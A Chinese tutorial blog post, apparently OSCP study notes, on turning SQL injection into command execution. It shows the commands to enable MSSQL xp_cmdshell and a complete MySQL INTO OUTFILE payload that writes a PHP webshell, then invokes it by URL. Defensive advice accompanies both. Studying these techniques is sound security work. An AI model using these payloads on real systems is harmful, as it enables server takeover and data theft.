当前位置: 首页 > news >正文

5-5〔OSCP ◈ 研记〕❘ SQL注入攻击▸手动滥用SQLi实现提权

       郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​​​​​​​


𖤐 让我们开启SQL注入的新世界吧,走起 ! 

𖤐 𝓛𝓮𝓽'𝓼 𝓸𝓹𝓮𝓷 𝓾𝓹 𝓪 𝓷𝓮𝔀 𝔀𝓸𝓻𝓵𝓭 𝓸𝓯 𝓢𝓠𝓛 𝓲𝓷𝓳𝓮𝓬𝓽𝓲𝓸𝓷,𝓱𝓮𝓻𝓮 𝔀𝓮 𝓰𝓸 ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升 ▸SQL注入攻击▸手动滥用SQLi实现提权-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复  


目录

1.SQL注入攻击

1.1 滥用xp_cmdshell函数执行系统命令(MSSQL)

1.1.1 什么是xp_cmdshell函数

1.1.2 实战:滥用xp_cmdshell

1.1.2.1 远程连接MSSQL

1.1.2.2 启用高级选项

1.1.2.3 激活xp_cmdshell

1.1.2.4 命令执行

1.基本语法

2.其他实用示例

3.权限升级

1.1.2.5 安全影响与防御建议

1.2 滥用SELECT INTO OUTFILE实现RCE(MySQL)

1.2.1 攻击原理概述

1. 攻击前提条件

2. 攻击流程

3. 技术特点

4. 风险影响

1.2.2 实战:滥用SELECT INTO OUTFILE

1.2.2.1 构造WebShell Payload

1.2.2.2 执行注入并验证

1.2.3 安全影响与防御建议

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论


1.SQL注入攻击

        根据所针对的底层数据库系统的不同,需要调整策略以获得代码执行。以下以Microsoft SQL Server为例,利用xp_cmdshell函数来获得代码执行。

1.1 滥用xp_cmdshell函数执行系统命令(MSSQL)

1.1.1 什么是xp_cmdshell函数

xp_cmdshell函数 :是 Microsoft SQL Server 中一个功能强大但风险极高的组件。

方面详细说明
🔍 本质是什么一个扩展存储过程
🌉 核心作用充当 SQL Server 数据库引擎与操作系统之间的 “桥梁”
⚙️ 主要功能接受一个字符串参数(系统命令),将其传递给 Windows 命令 shell (cmd.exe) 执行,并将输出以文本行的形式返回。
💡 典型用途执行如 dirping、运行批处理脚本或外部程序等操作系统命令,用于自动化任务系统交互。例如:EXEC xp_cmdshell 'dir c:\';查询SQL Server所在机器的C:盘的目录列表。
🛡️ 默认状态禁用。这是微软出于安全考虑设定的默认配置,以防止未经授权的命令执行
🎯 调用方式必须使用 EXECUTE 关键字(而非 SELECT)在 MSSQL 调用。
⚠️ 安全风险

极高。允许从数据库层面直接执行操作系统命令,一旦被滥用,攻击者可完全控制服务器。

🔑 权限要求需要 sysadmin 服务器角色(即 SQL Server 管理员)权限才能启用和使用。

关键要点:

  1. 功能定位:它是一个连接 “数据库世界” 和 “操作系统世界” 的桥梁,打破了数据库通常的隔离边界。

  2. 双刃剑

    • 对管理员:是一个强大的系统管理工具。

    • 对攻击者:是一个极具吸引力的权限提升横向移动的跳板。

  3. 安全第一:正因为其巨大的安全风险,在生产环境中应严格遵守最小权限原则,并始终保持默认的禁用状态,除非有绝对必要且已部署其他安全控制措施。


1.1.2 实战:滥用xp_cmdshell

1.1.2.1 远程连接MSSQL
kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
  • 工具:impacket-mssqlclient

  • 用途:远程登录到MSSQL

  • 认证方式:Windows身份验证


1.1.2.2 启用高级选项
SQL> EXECUTE sp_configure 'show advanced options', 1;
组件类型功能描述补充说明
EXECUTESQL 关键字用于执行存储过程或动态 SQL 语句。在此上下文中,它用于调用 sp_configure 这个系统存储过程。在某些情况下可以缩写为 EXEC
sp_configure系统存储过程SQL Server 的核心配置工具,用于查看或修改服务器级别的配置选项。它是管理员进行服务器设置的入口,可以管理大量影响数据库引擎行为的参数。
'show advanced options'配置选项参数此参数控制是否在 sp_configure 的结果中显示高级配置选项许多敏感的或专业的配置项(如 xp_cmdshell)被归类为“高级选项”,默认情况下对用户隐藏,以简化界面并防止误操作。
1选项值启用“显示高级选项”功能。
1 = 开启
将此值设置为 1 后,之前隐藏的所有高级选项才会在 sp_configure 的列表中显示出来,并允许被修改。与之相对的是 0,表示禁用(默认状态)。

在执行此命令后,必须运行以下命令才能使配置更改立即生效

SQL> RECONFIGURE;
  • 作用RECONFIGURE 语句会指示 SQL Server 重新加载当前通过 sp_configure 设置的配置值。如果没有执行这一步,即使设置了 'show advanced options', 1,高级选项也可能不会立即显示。


1.1.2.3 激活xp_cmdshell
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
  • 关键参数'xp_cmdshell', 1 → 启用命令执行功能(在MSSQL上执行系统命令)

  • 安全警示:此操作将显著扩大攻击面


1.1.2.4 命令执行

接下来,就可以在MSSQL上执行系统命令(为所欲为~)。

1.基本语法
SQL> EXECUTE xp_cmdshell '操作系统命令';
2.其他实用示例
-- 查看系统目录
SQL> EXECUTE xp_cmdshell 'dir C:\';-- 网络探测  
SQL> EXECUTE xp_cmdshell 'ping 192.168.50.1';-- 系统信息收集
SQL> EXECUTE xp_cmdshell 'systeminfo';
3.权限升级

一旦xp_cmdshell启用且具备执行权限,攻击者可以:

  • SQL shell升级为反向shell

  • 建立持久化后门

  • 横向移动至网络其他系统


1.1.2.5 安全影响与防御建议
层面风险等级影响范围
权限提升🔴 高危数据库权限 → 系统权限
攻击扩展🔴 高危SQL注入 → 系统完全控制
检测难度🟡 中危可通过日志审计发现
修复成本🟢 低危禁用功能即可缓解

🎯 防御建议:

  • 生产环境中严格禁用xp_cmdshell

  • 遵循最小权限原则

  • 实施严格的访问控制

  • 启用全面的审计日志

💡 专业提示: 虽然xp_cmdshell为管理员提供了便利,但在安全至上的现代环境中,应优先考虑使用更安全的替代方案来完成系统管理任务。


1.2 滥用SELECT INTO OUTFILE实现RCE(MySQL)

1.2.1 攻击原理概述

方面详细说明
🎯 攻击目标通过数据库漏洞实现远程代码执行(RCE)
🔄 攻击路径SQL注入 → 文件写入 → 代码执行 → 系统控制
🔧 核心语句MySQL的 SELECT INTO OUTFILE 语句
📝 基本语法

SELECT * FROM table_name INTO OUTFILE '/path/to/output/file';

这个命令将查询结果写入到指定路径的文件中。

前提是:文件位置必须对运行数据库软件的操作系统用户可写。

⚡ 攻击方式恶意代码写入Web服务器的文件系统,进而执行代码,达到RCE目标。
🎭 目标服务PHP、Apache、Nginx等Web服务
🛡️ 默认防护MySQL没有直接实现RCE的单个函数

🔍 关键技术要点

1. 攻击前提条件
条件说明重要性
FILE权限MySQL用户必须拥有FILE权限🔴 必需
可写路径目标目录对数据库进程可写🔴 必需
绝对路径必须知道Web目录的绝对路径🔴 必需
安全设置secure_file_priv配置允许导出🟡 可能限制

    在 MySQL 中,FILE 权限允许用户在服务器上执行与文件相关的操作,具体来说,FILE 权限可以让用户:

  • 读取服务器上的文件(如使用 LOAD DATA INFILE 从文件导入数据)。
  • 写入服务器上的文件(如使用 SELECT INTO OUTFILE 将查询结果导出到文件)。
  • 使用 LOAD_FILE() 函数读取文件内容。
2. 攻击流程
存在SQL注入漏洞 → 构造恶意SELECT语句 → 写入WebShell文件 → 通过HTTP执行 → 获得RCE能力
3. 技术特点
  • 🎯 间接攻击:利用文件系统作为中间媒介

  • 🔄 权限升级:从数据库权限升级到系统命令执行权限

  • 📁 文件创建:在Web目录创建可执行脚本文件

  • 🌐 Web触发:通过HTTP请求激活恶意代码

4. 风险影响
  • 🔴 完全系统控制

  • 🔴 数据泄露风险

  • 🔴 持续性后门

  • 🔴 横向移动跳板

💡 核心洞察: 这种攻击方式展示了即使数据库本身没有直接的命令执行功能,通过结合文件系统操作和Web服务器特性,仍然可以实现严重的远程代码执行漏洞。


1.2.2 实战:滥用SELECT INTO OUTFILE

1.2.2.1 构造WebShell Payload

在先前的搜索页面中输入构造的WebShell Payload。因此,先要构造WebShell Payload。

攻击payload:(在上图SEARCH框输入)

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE 
"/var/www/html/tmp/webshell.php" -- //

🔍 Payload解析:

攻击步骤技术细节安全影响
1. 注入点利用通过UNION SELECT SQL关键字进行注入🔴 利用SQL注入漏洞
2. 载荷构造将PHP命令行输出到查询的第一列,其余四列为空🔴 恶意代码准备
3. 文件写入把载荷使用INTO OUTFILE保存为webshell.php🔴 持久化攻击载荷
4. 路径选择写入到可写的Web文件夹(如/var/www/html/tmp/🔴 确保Web可访问

🔍 核心技术组件分析

①恶意WebShell

<?php system($_GET['cmd']);?>

代码分解:

组件功能攻击作用
<?php ... ?>PHP代码标记标识PHP可执行代码块
system()PHP系统函数执行操作系统命令
$_GET['cmd']获取URL参数接收攻击者输入的命令
整体功能通过URL参数执行任意系统命令🎯 可实现远程代码执行

②文件写入机制

  • 语句INTO OUTFILE "/var/www/html/tmp/webshell.php"

  • 功能:将查询结果输出到指定文件路径文件,本例的输出结果就是cmd的参数值。

  • 要求:目标路径必须对数据库用户可写

③攻击触发方式

访问模式:通过URL带着GET请求。

http://目标网站/tmp/webshell.php?cmd=系统命令

④实际示例

访问URL执行命令攻击效果
http://example.com/tmp/webshell.php?cmd=lsls列出目录内容
http://example.com/tmp/webshell.php?cmd=idid显示当前用户权限
http://example.com/tmp/webshell.php?cmd=whoamiwhoami确认执行身份

1.2.2.2 执行注入并验证

执行过程:

  1. 注入Payload到易受攻击的搜索字段

  2. 忽略类型错误 - 文件写入不受返回值类型影响,不应影响将Webshell写入磁盘。

  3. 访问WebShell验证写入成功

✅ 验证结果:

浏览器输入:http://192.168.120.19/tmp/webshell.php?cmd=id

执行刚刚写入的/tmp/webshell.php文件,然后输入cmd的参数id,让系统执行命令。

🎯 攻击成果:

  • ✅ WebShell创建成功

  • ✅ 命令执行功能正常

  • ✅ 权限确认:以www-data用户身份执行(Linux Web服务器常见权限)

  • ✅ 接下来,修改cmd参数,即可执行其他命令


1.2.3 安全影响与防御建议

攻击链路径:

SQL注入 → 文件写入权限 → WebShell部署 → 远程代码执行 → 系统完全控制

安全风险等级评估:

风险阶段威胁等级影响范围检测难度
SQL注入🔴 高危数据库数据泄露🟡 中等
文件写入🔴 高危系统文件完整性破坏🟢 较易
WebShell🔴 极高危系统完全沦陷🔴 困难
RCE利用🔴 极高危业务中断、数据丢失🔴 极困难

🛡️ 防御措施建议:

技术防护层:

防护层面具体措施效果
数据库层遵循最小权限原则,禁用FILE权限🛡️ 阻断根源
应用层严格的输入验证和参数化查询🛡️ 预防注入
文件系统设置适当的目录权限,限制Web目录写入🛡️ 增加难度
配置安全配置MySQL的secure_file_priv限制导出路径🛡️ 限制操作
监控检测文件完整性监控WebShell检测🔍 及时发现

最佳实践:

  • 🚫 永远不要在生产环境授予数据库用户FILE权限

  • 🔒 严格限制Web服务器的目录写入权限

  • 📝 定期审计Web目录中的可疑文件

  • 🛡️ 部署WAF检测和阻断SQL注入尝试

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/508216.html

相关文章:

  • HTML应用指南:利用POST请求获取中国一汽红旗门店位置信息
  • 网站备案多久一次中国建设银行e路通网站
  • 怎么建手机网站美工设计培训网
  • 九、WEB APIs(四)
  • DDL与DML解析
  • 网站推广公司网站北京公司地址推荐
  • 如何免费建造网站做外贸网站要什么条件
  • 国产化Word处理控件Spire.Doc教程:用Java实现TXT文本与Word互转的完整教程
  • 用C语言实现建造者模式
  • 山亭网站建设工商网站
  • 物联网设备分布式配置管理与一致性保障技术
  • 小波变换完全指南:从原理到实践的深度解析
  • 黄石网站设计网站开发php和c语言区别
  • 云莱坞网站开发深圳市住房和建设局网站怎么打不开了
  • Kubernetes HPA(Pod 水平自动伸缩)部署与资源限制全流程
  • 4-Spring SPI机制解读
  • 汕头公众号建设网站设计一个网站页面需要多少钱
  • 山西太原建设厅官方网站合肥到黄山旅游攻略
  • 基于Pika的RabbitMQ 消费者异常消息消费问题分析
  • 宁波网站关键词排名推广深圳网站设计兴田德润简介
  • 网站 概念设计提供网站制作
  • w666学习平台
  • 币股同权的创新与前瞻
  • Java 大视界 -- Java 大数据在智慧文旅虚拟场景构建与沉浸式体验增强中的技术支撑
  • ctfshow pwn44
  • 二层通讯中的MAC地址介绍
  • ppt模板去哪个网站下载百度关键词搜索排行
  • 网站版面设计方案旅行网站开发意义
  • 【Go】--gin的binding内置规则
  • 关于手机电子商务网站建设网站点击排名优化